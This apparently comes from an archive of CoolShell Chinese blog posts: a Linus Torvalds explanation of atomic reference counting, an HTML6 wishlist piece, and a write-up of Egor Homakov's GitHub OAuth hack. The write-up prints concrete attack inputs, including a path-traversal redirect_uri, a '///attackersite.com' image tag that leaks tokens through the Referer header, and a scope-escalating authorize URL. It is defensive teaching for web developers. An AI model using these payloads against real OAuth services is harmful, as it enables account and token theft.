    "content": "---\nlayout: post\ntitle: Linus：为何对象引用计数必须是原子的\ndate: 2014/12/31/ 1:59:33\nupdated: 2014/12/31/ 1:59:33\nstatus: publish\npublished: true\ntype: post\n---\n\n**（感谢网友**[**@我的上铺叫路遥**](http://weibo.com/fullofbull)**投稿）**\n\n\nLinus大神又在rant了！这次的吐槽对象是时下很火热的**并行技术(parellism)**，并直截了当地表示[并行计算是浪费所有人时间](http://www.vaikan.com/linus-parallel-computing-is-a-huge-waste-of-everybodys-time/ \"并行计算基本上就是浪费大家的时间\")([“The whole “let’s parallelize” thing is a huge waste of everybody’s time.”](http://www.realworldtech.com/forum/?threadid=146066&curpostid=146227))。大致意思是说**乱序性能快、提高缓存容量、降功耗**。当然笔者不打算正面讨论并行的是是非非（过于宏伟的主题），因为Linus在另一则[帖子](http://www.realworldtech.com/forum/?threadid=146066&curpostid=146183 \"reference counting\")中举了对象**引用计数(reference counting)**的例子来说明并行的复杂性。\n\n\n在Linus回复之前有人指出**对象需要锁机制的情况下，引用计数的原子性问题：**\n\n\n\n> Since it is being accessed in a multi-threaded way, via multiple access paths, generally it needs its own mutex — otherwise, reference counting would not be required to be atomic and a lock of a higher-level object would suffice.\n> \n> \n> 由于（对象）通过多线程方式及多种获取渠道，一般而言它需要自身维护一个互斥锁——否则引用计数就不要求是原子的，一个更高层次的对象锁足矣。\n> \n> \n\n\n而Linus不那么认为：\n\n\n\n> The problem with reference counts is that you often need to take them \\*before\\* you take the lock that protects the object data.\n> \n> \n> 引用计数的问题在于你经常需要在对象数据**上锁保护之前**完成它。\n> \n> \n\n\nThe thing is, you have two different cases:\n\n\n问题有两种情况：\n\n\n**– object \\*reference\\* 对象引用**\n\n\n**– object data 对象数据**\n\n\nand they have completely different locking.\n\n\n**它们锁机制是完全不一样的。**\n\n\n\nObject data locking is generally per-object. Well, unless you don’t have huge scalability issues, in which case you may have some external bigger lock (extreme case: one single global lock).\n\n\n对象数据保护一般是一个对象拥有一个锁，假设你没有海量扩展性问题，不然你需要一些外部大一点的锁（极端的例子，一个对象一个全局锁）。\n\n\nBut object \\*referencing\\* is mostly about finding the object (and removing/freeing it). Is it on a hash chain? Is it in a tree? Linked list? When the reference count goes down to zero, it’s not the object data that you need to protect (the object is not used by anything else, so there’s nothing to protect!), it’s the ways to find the object you need to protect.\n\n\n但对象引用主要关于对象的寻找（移除或释放），它是否在哈希链，一棵树或者链表上。**当对象引用计数降为零，你要保护的不是对象数据，因为对象没有在其它地方使用，你要保护的是对象的寻找操作。**\n\n\nAnd the lock for the lookup operation cannot be in the object, because – by definition – you don’t know what the object is! You’re trying to look it up, after all.\n\n\n而且查询操作的锁不可能在对象内部，因为根据定义，你还不知道这是什么对象，你在尝试寻找它。\n\n\nSo generally you have a lock that protects the lookup operation some way, and the reference count needs to be atomic with respect to that lock.\n\n\n因此一般你要对查询操作上锁，而且引用计数相对**那个锁**来说是原子的（译者注：查询锁不是引用计数所在的对象所有，不能保护对象引用计数，后面会解释为何引用计数变更时其所在对象不能上锁）。\n\n\nAnd yes, that lock may well be sufficient, and now you’re back to non-atomic reference counts. But you usually don’t have just one way to look things up: you might have pointers from other objects (and that pointer is protected by the object locking of the other object), but there may be multiple such objects that point to this (which is why you have a reference count in the first place!)\n\n\n当然这个锁是充分有效的，现在假设引用计数是非原子的，但你常常不仅仅使用一种方式来查询：你可能拥有其它对象的指针（这个指针又被其它对象的对象锁给保护起来），但同时还会有多个对象指向它（这就是为何你第一时间需要引用计数的理由）。\n\n\nSee what happens? There is no longer one single lock for lookup. Imagine walking a graph of objects, where objects have pointers to each other. Each pointer implies a reference to an object, but as you walk the graph, you have to release the lock from the source object, so you have to take a new reference to the object you are now entering.\n\n\n看看会发生什么？查询不止存在一个锁保护。你可以想象走过一张对象流程图，其中对象存在指向其它对象的指针，每个指针暗含了一次对象引用，但当你走过这个流程图，你必须释放源对象的锁，而你进入新对象时又必须增加一次引用。\n\n\nAnd in order to avoid deadlocks, you can not in the general case take the lock of the new object first – you have to release the lock on the source object, because otherwise (in a complex graph), how do you avoid simple ABBA deadlock?\n\n\n而且为了避免死锁，你一般不能立即对新对象上锁——你必须释放源对象的锁，否则在一个复杂流程图里，你如何避免**ABBA死锁**（译者注：假设两个线程，一个是A->B，另一个B->;A，当线程一给A上锁，线程二给B上锁，此时两者谁也无法释放对方的锁）？\n\n\nSo atomic reference counts fix that. They work because when you move from object A to object B, you can do this:\n\n\n原子引用计数修正了这一点，当你从对象A到对象B，你会这样做：\n\n\n(a) you have a reference count to A, and you can lock A\n\n\n对象A增加一次引用计数，并上锁。\n\n\n(b) once object A is locked, the pointer from A to B is stable, and you know you have a reference to B (because of that pointer from A to B)\n\n\n对象A一旦上锁，A指向B的指针就是稳定的，于是你知道你引用了对象B。\n\n\n(c) but you cannot take the object lock for B (ABBA deadlock) while holding the lock on A\n\n\n但你不能在对象A上锁期间给B上锁（ABBA死锁）。\n\n\n(d) increment the atomic reference count on B\n\n\n对象B增加一次原子引用计数。\n\n\n(e) now you can drop the lock on A (you’re “exiting” A)\n\n\n现在你可以扔掉对象A的锁（退出对象A）。\n\n\n(f) your reference count means that B cannot go away from under you despite unlocking A, so now you can lock B.\n\n\n对象B的原子引用计数意味着即使给A解锁期间，B也不会失联，现在你可以给B上锁。\n\n\nSee? Atomic reference counts make this kind of situation possible. Yes, you want to avoid the overhead if at all possible (for example, maybe you have a strict ordering of objects, so you know you can walk from A to B, and never walk from B to A, so there is no ABBA deadlock, and you can just lock B while still holding the lock on A).\n\n\n看见了吗？原子引用计数使这种情况成为可能。是的，你想尽一切办法避免这种代价，比如，你也许把对象写成严格顺序的，这样你可以从A到B，绝不会从B到A，如此就不存在ABBA死锁了，你也就可以在A上锁期间给B上锁了。\n\n\nBut if you don’t have some kind of forced ordering, and if you have multiple ways to reach an object (and again – why have reference counts in the first place if that isn’t true!) then atomic reference counts really are the simple and sane answer.\n\n\n但如果你无法做到这种强迫序列，如果你有多种方式接触一个对象（再一次强调，这是第一时间使用引用计数的理由），这样，原子引用计数就是简单又理智的答案。\n\n\nIf you think atomic refcounts are unnecessary, that’s a big flag that you don’t actually understand the complexities of locking.\n\n\n**如果你认为原子引用计数是不必要的，这就大大说明你实际上不了解锁机制的复杂性。**\n\n\nTrust me, concurrency is hard. There’s a reason all the examples of “look how easy it is to parallelize things” tend to use simple arrays and don’t ever have allocations or freeing of the objects.\n\n\n相信我，**并发设计是困难的。**所有关于“并行化如此容易”的理由都倾向于使用简单数组操作做例子，甚至不包含对象的分配和释放。\n\n\nPeople who think that the future is highly parallel are invariably completely unaware of just how hard concurrency really is. They’ve seen Linpack, they’ve seen all those wonderful examples of sorting an array in parallel, they’ve seen all these things that have absolutely no actual real complexity – and often very limited real usefulness.\n\n\n那些认为未来是高度并行化的人一成不变地完全没有意识到并发设计是多么困难。他们只见过[Linpack](http://en.wikipedia.org/wiki/LINPACK \"Linpack\")，他们只见过并行技术中关于数组排序的一切精妙例子，他们只见过一切绝不算真正复杂的事物——对真正的用处经常是非常有限的。\n\n\n（译者注：当然，我无意借大神之口把技术宗教化。实际上Linus又在另一篇[帖子](http://www.realworldtech.com/forum/?threadid=146066&curpostid=146198 \"评价\")中综合了对并行的评价。）\n\n\nOh, I agree. My example was the simple case. The really complex cases are much worse.\n\n\n哦，我同意。我的例子还算简单，真正复杂的用例更糟糕。\n\n\nI seriously don’t believe that the future is parallel. People who think you can solve it with compilers or programming languages (or better programmers) are so far out to lunch that it’s not even funny.\n\n\n我严重不相信未来是并行的。有人认为你可以通过编译器，编程语言或者更好的程序员来解决问题，他们目前都是神志不清，没意识到这一点都不有趣。\n\n\nParallelism works well in simplified cases with fairly clear interfaces and models. You find parallelism in servers with independent queries, in HPC, in kernels, in databases. And even there, people work really hard to make it work at all, and tend to expressly limit their models to be more amenable to it (eg databases do some things much better than others, so DB admins make sure that they lay out their data in order to cater to the limitations).\n\n\n并行计算可以在简化的用例以及具备清晰的接口和模型上正常工作。你发现并行在服务器上独立查询里，在高性能计算(High-performance computing)里，在内核里，在数据库里。即使如此，人们还得花很大力气才能使它工作，并且还要明确限制他们的模型来尽更多义务（例如数据库要想做得更好，数据库管理员得确保数据得到合理安排来迎合局限性）。\n\n\nOf course, other programming models can work. Neural networks are inherently very parallel indeed. And you don’t need smarter programmers to program them either..\n\n\n当然，其它编程模型倒能派上用场，神经网络(neural networking)天生就是非常并行化的，你不需要更聪明的程序员为之写代码。\n\n\n#### 参考资料\n\n\n* [Real World Technologies](http://www.realworldtech.com/ \"Real World Technologies\")：Linus常去“灌水”的一个论坛，讨论未来机器架构（看名字就知道Linus技术偏好，及其之前对虚拟化技术(virtualization)的[吐槽](http://www.networkworld.com/article/2220440/opensource-subnet/torvalds-says---virtualization-is-evil-.html \"virtualization is evil\")）\n* [多线程程序中操作的原子性](http://www.parallellabs.com/2010/04/15/atomic-operation-in-multithreaded-application/ \"多线程程序中操作的原子性\")：解释为什么i++不是原子操作\n* [Concurrency Is Not Parallelism](http://www.vaikan.com/docs/Concurrency-is-not-Parallelism \"Concurrency Is Not Parallelism\")：Go语言之父Rob Pike幻灯片解释“并发”与“并行”概念上的区别\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/9917.html)[Alan Cox：大教堂、市集与市议会](https://coolshell.cn/articles/9917.html)\n* [![Linus：利用二级指针删除单向链表](../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg)](https://coolshell.cn/articles/8990.html)[Linus：利用二级指针删除单向链表](https://coolshell.cn/articles/8990.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg](https://coolshell.cn/articles/8275.html)[对九个超级程序员的采访](https://coolshell.cn/articles/8275.html)\n* [![多版本并发控制(MVCC)在分布式系统中的应用](../wp-content/uploads/2012/03/o_conditional_update_1-150x150.png)](https://coolshell.cn/articles/6790.html)[多版本并发控制(MVCC)在分布式系统中的应用](https://coolshell.cn/articles/6790.html)\n* [![Unix传奇(上篇)](../wp-content/uploads/2010/04/o_unixrichiethompson-150x150.jpg)](https://coolshell.cn/articles/2322.html)[Unix传奇(上篇)](https://coolshell.cn/articles/2322.html)\n* [![Windows 7 的新粉丝 Linus Torvalds](../wp-content/uploads/2009/10/Linus_windows_7-150x150.jpg)](https://coolshell.cn/articles/1619.html)[Windows 7 的新粉丝 Linus Torvalds](https://coolshell.cn/articles/1619.html)\nThe post [Linus：为何对象引用计数必须是原子的](https://coolshell.cn/articles/16910.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2014-12-6 HTML6 展望.md",
    "content": "---\nlayout: post\ntitle: HTML6 展望\ndate: 2014/12/6/ 4:41:34\nupdated: 2014/12/6/ 4:41:34\nstatus: publish\npublished: true\ntype: post\n---\n\n\n### html6\n\n\n### HTML5 概述\n\n\nHTML5 是 HTML 语言最受欢迎的版本之一，它支持音频和视频、离线存储、移动端、和标签属性等等。还提供了<article>, <section>, <header>这样的标签来帮助开发者更好地组织页面内容。然而 HTML5 规范仍然没有最后定稿，并且它并不是一个真正意义上的语义标记语言。\n\n\n### HTML6 展望\n\n\n你有没有曾经希望能在 HTML 中使用自定义标签？比如：使用<logo>来显示你的网站logo，还有使用<toolbar>来显示工具栏等等。我们经常使用<div id=”container”>和<div id=”wrapper”>来组织页面，在 HTML6 里我们希望可以直接使用象<container>和<wrapper>这样的自定义标签。\n\n\n和 XML 一样，HTML6 应该支持 namespace（命名空间），如：xmlns:xhtml=”http://www.w3.org/1999/xhtml”\n\n\nHTML6 代码样例：\n\n\n\n\n```\n<!DOCTYPE html>\n <html:html>\n <html:head>\n <html:title>A Look Into HTML6</html:title>\n <html:meta type=\"title\" value=\"Page Title\">\n <html:meta type=\"description\" value=\"HTML example with namespaces\">\n <html:link src=\"css/mainfile.css\" title=\"Styles\" type=\"text/css\">\n <html:link src=\"js/mainfile.js\" title=\"Script\" type=\"text/javascript\">\n </html:head>\n <html:body>\n <header>\n <logo>\n <html:media type=\"image\" src=\"images/xyz.png\">\n </logo>\n <nav>\n <html:a href=\"/img1\">a1</a>\n <html:a href=\"/img2\">a2</a>\n </nav>\n </header>\n <content>\n <article>\n <h1>Heading of main article</h1>\n <h2>Sub-heading of main article</h2>\n <p>[...]</p>\n <p>[...]</p>\n </article>\n <article>\n <h1>The concept of HTML6</h1>\n <h2>Understanding the basics</h2>\n <p>[...]</p>\n </article>\n </content>\n <footer>\n <copyright>This site is © to Anonymous 2014</copyright>\n </footer>\n </html:body>\n </html:html>\n```\n\n在上面的代码中，你也许注意到了一些奇怪的<html:x>标签，它们是 W3C 和 HTML6 规范中在命名空间里定义的标签。例如：<html:title>负责设定你浏览器的标题栏文字，<html:media>负责显示图片等等。用户可以自己定义标签以便 JavaScript 和 CSS 识别和处理，这样页面代码会更易读，语义更清晰。\n\n\n### HTML6 APIs\n\n\nHTML6 的标签前带有命名空间，如：<html:html>, <html:head>等等。\n\n\n1. <html:html>\n\n\n\n```\n<!DOCTYPE html>\n <html:html>// this is equivalent to <html> tag written in previous HTML versions\n <!-- sample of HTML document -->\n </html:html>\n```\n\n2. <html:head> 和 <head> 标签一样。\n\n\n\n```\n<!DOCTYPE html>\n <html:html>\n <html:head>\n <!-- Main content would come here, like the <html:title> tag -->\n </html:head>\n </html:html>\n```\n\n3. <html:title> 和 <title> 标签类似。\n\n\n\n```\n<!DOCTYPE html>\n <html:html>\n <html:head>\n <html:title>A Look Into HTML6</html:title>\n </html:head>\n </html:html>\n```\n\n4. <html:meta> 和 <meta> 标签类似，不同之处在于，在 HTML5 中你只能使用标准的元数据类型，如：”keywords”, “description”, “author”等，而在 HTML6 中你可以使用任何元数据类型。\n\n\n\n```\n<!DOCTYPE html>\n <html:html>\n <html:head>\n <html:title>A Look Into HTML6</html:title>\n <html:meta type=\"description\" value=\"HTML example with namespaces\">\n </html:head>\n </html:html>\n```\n\n5. <html:link> 和 HTML6 之前版本的 <link> 标签类似。\n\n\n\n```\n<!DOCTYPE html>\n <html:html>\n <html:head>\n <html:title>A Look Into HTML6</html:title>\n <html:link src=\"js/mainfile.js\" title=\"Script\" type=\"text/javascript\">\n </html:head>\n </html:html>\n```\n\n6. <html:body> 和 <body> 标签一样。\n\n\n\n```\n<!DOCTYPE html>\n <html:html>\n <html:head>\n <html:title>A Look Into HTML6</html:title>\n </html:head>\n <html:body>\n <!-- This is where your website content is placed -->\n </html:body>\n </html:html>\n```\n\n7. <html:a> 和 <a> 标签类似，区别是 <html:a> 只有 “href” 一个属性。\n\n\n\n```\n<!DOCTYPE html>\n <html:html>\n <html:head>\n <html:title>A Look Into HTML6</html:title>\n </html:head>\n <html:body>\n <html:a href=\"http://siteurl\">Go to siteurl.com!</html:a>\n </html:body>\n </html:html>\n```\n\n8. <html：button> 和 <button> 及 <input type=”button”> 一样。\n\n\n\n```\n<!DOCTYPE html>\n <html:html>\n <html:head>\n <html:title>A Look Into HTML6</html:title>\n </html:head>\n <html:body>\n <html:button>Click Here</html:button>\n </html:body>\n </html:html>\n```\n\n9. <html:media> 涵盖 <img>, <video>, <embed> 等标签的所有功能。<html:media> 的好处是你不用根据不同的媒体文件类型使用不同的标签，媒体的类型由浏览器从文件内容（类型属性，扩展名，和MIME type）中来判断。\n\n\n\n```\n<!DOCTYPE html>\n <html:html>\n <html:head>\n <html:title>A Look Into HTML6</html:title>\n </html:head>\n <html:body>\n <!-- Image would come here -->\n <html:media src=\"img1/logo.jpg\" type=\"image\">\n <!-- Video doesn't need a type -->\n <html:media src=\"videos/slide.mov\">\n </html:body>\n </html:html>\n```\n\n### 标签类型(Tag types)概述\n\n\n和 HTML5 一样， HTML6 也有两种标签类型：单标签（single tag) 和双标签（double tag）\n\n\n\n```\n<html:meta type=\"author\" content=\"single tag\">\n <html:meta type=\"author\" content=\"double tag\" />\n```\n\n单标签不需要结束符’/’\n\n\n### 结语\n\n\nHTML6 规范还未发布，本文原作者 [Oscar Godson](http://html6spec.com/) 只是为我们提供了一个对 HTML6 规范的展望，或者说他希望 HTML6 能够支持的一些新特性。\n\n\n原文链接：[A Look Into HTML6 – What Is It, and What Does it Have to Offer?](http://java.dzone.com/articles/look-html6-what-it-and-what)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![浏览器的渲染原理简介](../wp-content/uploads/2013/05/Render-Process-150x150.jpg)](https://coolshell.cn/articles/9666.html)[浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html)\n* [![CSS 布局:40个教程、技巧、例子和最佳实践](../wp-content/uploads/2012/03/css-layouts-150x150.gif)](https://coolshell.cn/articles/6840.html)[CSS 布局:40个教程、技巧、例子和最佳实践](https://coolshell.cn/articles/6840.html)\n* [![一些文章资源和趣闻](../wp-content/uploads/2011/11/stackparts.com_-150x150.png)](https://coolshell.cn/articles/5537.html)[一些文章资源和趣闻](https://coolshell.cn/articles/5537.html)\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4795.html)[开源中最好的Web开发的资源](https://coolshell.cn/articles/4795.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/3903.html)[一些有意思的贴子和工具](https://coolshell.cn/articles/3903.html)\nThe post [HTML6 展望](https://coolshell.cn/articles/12206.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2014-2-10 从“黑掉Github”学Web安全开发.md",
    "content": "---\nlayout: post\ntitle: 从“黑掉Github”学Web安全开发\ndate: 2014/2/10/ 0:16:11\nupdated: 2014/2/10/ 0:16:11\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2014/02/Github-Security.png)Egor Homakov（Twitter: [@homakov](http://twitter.com/homakov) 个人网站: [EgorHomakov.com](http://egorhomakov.com/)）是一个Web安全的布道士，他这两天把github给黑了，并给github报了5个安全方面的bug，他在他的这篇blog——《[How I hacked Github again](http://homakov.blogspot.com/2014/02/how-i-hacked-github-again.html)》（墙）说明了这5个安全bug以及他把github黑掉的思路。Egor的这篇文章讲得比较简单，很多地方一笔带过，所以，**我在这里用我的语言给大家阐述一下黑掉Github的思路以及原文中所提到的那5个bug。希望这篇文章能让从事Web开发的同学们警惕**。关于Web开发中的安全事项，大家可以看看这篇文章《[Web开发中的你需要了解的东西](https://coolshell.cn/articles/6043.html \"Web开发中需要了解的东西\")》\n\n\n#### OAuth简介\n\n\n首先，这个故事要从[Github OAuth](https://developer.github.com/v3/oauth/)讲起。所以，我们需要先知道什么是[OAuth](http://en.wikipedia.org/wiki/OAuth)。所谓OAuth就是说，第三方的应用可以通过你的授权而不用知道你的帐号密码能够访问你在某网站的你自己的数据或功能。像Google, Facebook, Twitter等网站都提供了OAuth服务，提供OAuth服务的网站一般都有很多开放的API，第三方应用会调用这些API来开发他们的应用以让用户拥有更多的功能，但是，当用户在使用这些第三方应用的时候，这些第三方的应用会来访问用户的帐户内的功能和数据，所以，当第三应用要干这些事的时候，我们不能让第三方应用弹出一个对话框来问用户要他的帐号密码，不然第三方的应用就把用户的密码给获取了，所以，OAuth协议会跳转到一个页面，让用户授权给这个第三方应用以某些权限，然后，这个权限授权的记录保存在Google/Facebook/Twitter上，并向第三方应用返回一个授权token，于是第三方的应用通过这个token来操作某用户帐号的功能和数据时，就畅通无阻了。下图简单地说明了Twitter的OAuth的授权过程。\n\n\n\n![](../wp-content/uploads/2014/02/oauth-authentication.png)\n\n\n从上面的流程图中，我们可以看OAuth不管是1.0还是2.0版本都是一个比较复杂的协议，所以，在Server端要把OAuth实现对并不是一些容易事，其总是或多或少会有些小错误。Egor就找到了几个Github的OAuth的实现的问题。\n\n\n#### OAuth的Callback\n\n\n还需要注意的是，因为OAuth是需要跳到主站的网页上去让用户授权，当用户授权完后，需要跳转回原网页，所以，一般来说，OAuth授权页都会带一个 redirect\\_url的参数，用于指定跳转回原来的网页。Github使用的这个跳转参数是redirect\\_uri参数。一般来说，redirect\\_uri这个参数需要在服务器端进行验证。\n\n\n你想一下，如果有人可以控制这个redirect\\_uri这个参数，那么，你就可以让其跳转到别的网页上（可能会是个有恶意的网页）。如果你觉得跳转到别的网页上也无所谓，那么你就错了。别忘了，当你对这个第三方的应用授权通过后，服务方会给第三方应用返回一个授权token，这个token会被加到那个redirect\\_uri参数后面然后跳转回去，如果这个redirect\\_uri被别有用心的人改一个恶意的网址后，这个token也就被转过去了，于是授权token也就被泄漏过去了。\n\n\n知道了这一切，我们就可以理解Egor提的那5个bug是什么意思了。\n\n\n#### 第一个Bug — 没有检查重定向URL中的/../\n\n\n首先，我们通过[Github的 redirect\\_uri 的说明文档](https://developer.github.com/v3/oauth/#redirect-urls)我们可以看到这样的说明：\n\n\n\n```\n如果 CALLBACK URL是: http://example.com/path\n\nGOOD: https://example.com/path\nGOOD: http://example.com/path/subdir/other\n\nBAD: http://example.com/bar\nBAD: http://example.com/\nBAD: http://example.com:8080/path\nBAD: http://oauth.example.com:8080/path\nBAD: http://example.org\n```\n\n而Github对于redirect\\_uri做了限制，要求只能跳回到 https://gist.github.com/auth/github/callback/，也就是说，域名是gist.github.com，目录是/auth/github/callback/，服务器端做了这个限制，看似很安全了。\n\n\n但是，Egor发现，Github的服务器端并没有验证.. /../../这样的情况。\n\n\n于是，Egor相当于构造了一个下面这样的Redirect URL：\n\n\n\n```\nhttps://gist.github.com/auth/github/callback/../../../homakov/8820324?code=CODE\n```\n\n于是上面的URL就相当于：\n\n\n\n```\nhttps://gist.github.com/homakov/8820324?code=CODE\n```\n\n你可以看到，认证后的跳转网页转到了别的地方去（并非是github限制的地方）——我们知道Github的gist虽然是给你分享代码片段的，但是也可以用来定制自己的东西的（比如markdown），这个gist的网页当然是被Egor所控制的。\n\n\n#### 第二个BUG — 没有校验token\n\n\n第一个bug其实并没有什么，如果服务器端要校验一下token是否和之前生成的token的redirect\\_uri一模一样，只要服务器做了这个验证，第一个bug完全没有什么用处，但是，github的服务端并没有验证。\n\n\n这就是第二个bug，于是第一个和第二个bug组合起来成了一个相当有威力的安全漏洞。\n\n\n也就是说，token的生成要考虑redirect\\_uri，这样，当URL跳转的时候，会把redirect\\_uri和token带到跳转页面（这里的跳转页面还是github自己的），跳转页面的服务端程序要用redirect\\_uri来生成一个token，看看是不是和传来的token是一个样的。这就是所谓的对URL进行签名——以保证URL的不被人篡改。一般来说，对URL签名和对签名验证的因子包括，源IP，服务器时间截，session，或是再加个salt什么的。\n\n\n#### 第三个BUG — 注入跨站图片\n\n\n现在，redirect\\_uri带着code，安全顺利地跳到了Egor构造的网页上：\n\n\n\n```\nhttps://gist.github.com/homakov/8820324?code=CODE\n```\n\n但是，这个是gist的网页，你无法在这个页面上运行前端（Javascript）或后端程序（Ruby——Github是Ruby做的），现在的问题是我们怎么得到那个code，因为那个code虽然后带到了我的网页上来，但那个网页还是github和用户自己的环境。\n\n\n到这里，一般来说，黑客会在这个页面上放一个诸如下面的一个链接，来引诱用户点击，：\n\n\n<a href=http://hack.you.com/>私人照片</a>\n\n\n这样，当页面跳转到黑客的网站上来后，你之前的网页上的网址会被加在http头里的 Refere 参数里，这样，我就可以得到你的token了。\n\n\n但是，在gist上放个链接还要用户去点一下，这个太影响“用户体验”了，最好能嵌入点外部的东西。gist上可以嵌入外站的图片，但是github的开发人员并非等闲之辈，对于外站的图片，其统统会把这些图片的url代理成github自己的url，所以，你很难搞定。\n\n\n不过，我们可以用一个很诡异的技巧：\n\n\n**<img src=”///attackersite.com”>**\n\n\n这个是什么玩意？这个是个URL的相对路径。但是为什么会有三个///呢？呵呵。\n\n\n##### 像程序员一样的思考\n\n\n这个时候，我们需要以“程序员的编程思维”来思考问题——如果你是程序员，你会怎么写校验URL的程序？你一定会想到使用正则表达式，或是用程序来匹配URL中的一些pattern。于是，\n\n\n* 对于绝对路径：你会匹配两个//，后面的可能会是 user@host.com（user@是可选的），然后可能会有:<n>端口号，然后是/，后面是服务器的路径，再往后面应该是?后面带一些参数了。\n\n\n* 对于相对路径：就没有绝对路径那么复杂了。就是些 .. 和 /再加上?和一些参数。\n\n\n好了，如果coolshell.cn网页中的<img src=>或<a href=>中用到的相对路径是 /host.com，那么浏览器会解释成：https://coolshell.cn/host.com，如果是///host.com，那么就应该被浏览器解释成 https://coolshell.cn///host.com。\n\n\n但是，Chrome和Firefox，会把///host.com当成绝对路径，因为其正确匹配了绝对路径的scheme。如果你正在用Chrome/Firefox看这篇文章 ，你可以看看下面的连接（源码如下）：\n\n\n[CoolShell Test](///www.google.com)\n\n\n`<a href=\"///www.google.com\">CoolShell Test</a>`\n\n\n关键是，这个Chrome/Firefox的问题被标记成了Won’t Fix，我勒个去，基本上来说，后台的程序也有可能有这样的问题，对于Perl，Python，Ruby，Node.js，PHP带的URL检查的函数库都有这样的问题。\n\n\n于是，我们就可以使用这样的方式给gist注入了一个第三方站点的图片（github的服务端没有察觉到（因为我们前面说过大多数语言的URL检查库都会被 Bypass了），但是浏览器端把这个链接解释到了第三方的站点上），于是请求这个图片的http头中的refere 中包含用户当前页面的URL，也包含了用户授权的code。\n\n\n到这里，黑客Egor已经拿到用户gist的权限并可以修改或查看用户私用的gist了。但是作者并没有满足，他想要的更多。\n\n\n#### 第四个bug – Gist把github\\_token放在了cookie里\n\n\n于是Egor在用户的cookie里找到了 github\\_token\n\n\n![](../wp-content/uploads/2014/02/gist_cookie.png)\n\n\n但是这个token没什么用，因为授权的Scope只有gists。但是，这个token不应该放在用户端的cookie里，本身就是一个安全事故，这个东西只能放在服务端（关于Web开发中的安全事项，可以看看这篇文章《[Web开发中的你需要了解的东西](https://coolshell.cn/articles/6043.html \"Web开发中需要了解的东西\")》）。\n\n\n于是，Egor只能另谋出路。\n\n\n#### 第五个Bug – 自动给gist授权\n\n\n因为gist是github自家的，Egor所以估计github想做得简单一点，当用户访问gist的时候，不会出弹出一个OAuth的页面来让用户授权，不然，用户就会很诧异，都是你们自家的东西，还要授权？所以，Egor猜测github应该是对gist做了自动授权，于是，Egor搞了这样的一个URL（注意其中的 redirect\\_uri中的scope ）\n\n\nhttps://github.com/login/oauth/authorize?client\\_id=7e0a3cd836d3e544dbd9&redirect\\_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%**2Fcallback/../../../homakov/8820324**&response\\_type=code&**scope=repo,gists,user,delete\\_repo,notifications**\n\n\n于是，这个redirect-uri不但帮黑客拿到了访问gist的token，而且还把授权token的scope扩大到了用户的代码库等其它权限。于是你就可以黑入用户的私有代码区了。\n\n\n####  其它 & 感想\n\n\n于是，作者从 [Github Security Bug Bounty](https://bounty.github.com/) 拿到了USD $4,000的奖励！Egor一共花了从下午2点到6点一共4个小时找到了这些Bug，平均一小时1000美刀。Egor还很得瑟的说，如果Github请他做安全顾问，他只收一小时USD $400刀，这4个小时也就$1,600。呵呵。大家看看，这是多么有效率的赚钱方式。\n\n\n下图是Github上的赏金猎手的排行榜（<https://bounty.github.com/index.html#leaderboard>）你可以上去挨个看看他们找到的问题，你会发现好些安全问题都很小，有些只能说是不是很规范的问题，Github都赏了几百刀。我查看了一下github的赏金政策，github赏金至少100刀，到5000刀不等。\n\n\n![](../wp-content/uploads/2014/02/github_bounty_leaderboard.jpg)\n\n\n让我们扪心自问一下，我们花了多少时间在玩那些“红包游戏”，而又搞到了多少红包？人家4个小时找了5个bug，挣了$4000美金。**老天给了你我一样的时间，我们用来抽几块钱的红包，人家用自己的技能来挣奖金。这就是人和人的差距。这就是所谓的效率**——你可以移步看看我写的《[加班与效率](https://coolshell.cn/articles/10217.html \"加班与效率\")》\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![HTTP API 认证授权术](../wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png)](https://coolshell.cn/articles/19395.html)[HTTP API 认证授权术](https://coolshell.cn/articles/19395.html)\n* [![如何免费的让网站启用HTTPS](../wp-content/uploads/2017/08/enable-https-banner-150x150.png)](https://coolshell.cn/articles/18094.html)[如何免费的让网站启用HTTPS](https://coolshell.cn/articles/18094.html)\n* [![程序员疫苗：代码注入](../wp-content/uploads/2012/12/200906020837401710-150x150.jpg)](https://coolshell.cn/articles/8711.html)[程序员疫苗：代码注入](https://coolshell.cn/articles/8711.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/6043.html)[Web开发中需要了解的东西](https://coolshell.cn/articles/6043.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg](https://coolshell.cn/articles/5987.html)[如何设计“找回用户帐号”功能](https://coolshell.cn/articles/5987.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/5353.html)[你会做Web上的用户登录功能吗？](https://coolshell.cn/articles/5353.html)\nThe post [从“黑掉Github”学Web安全开发](https://coolshell.cn/articles/11021.html) first appeared on [酷 壳 - 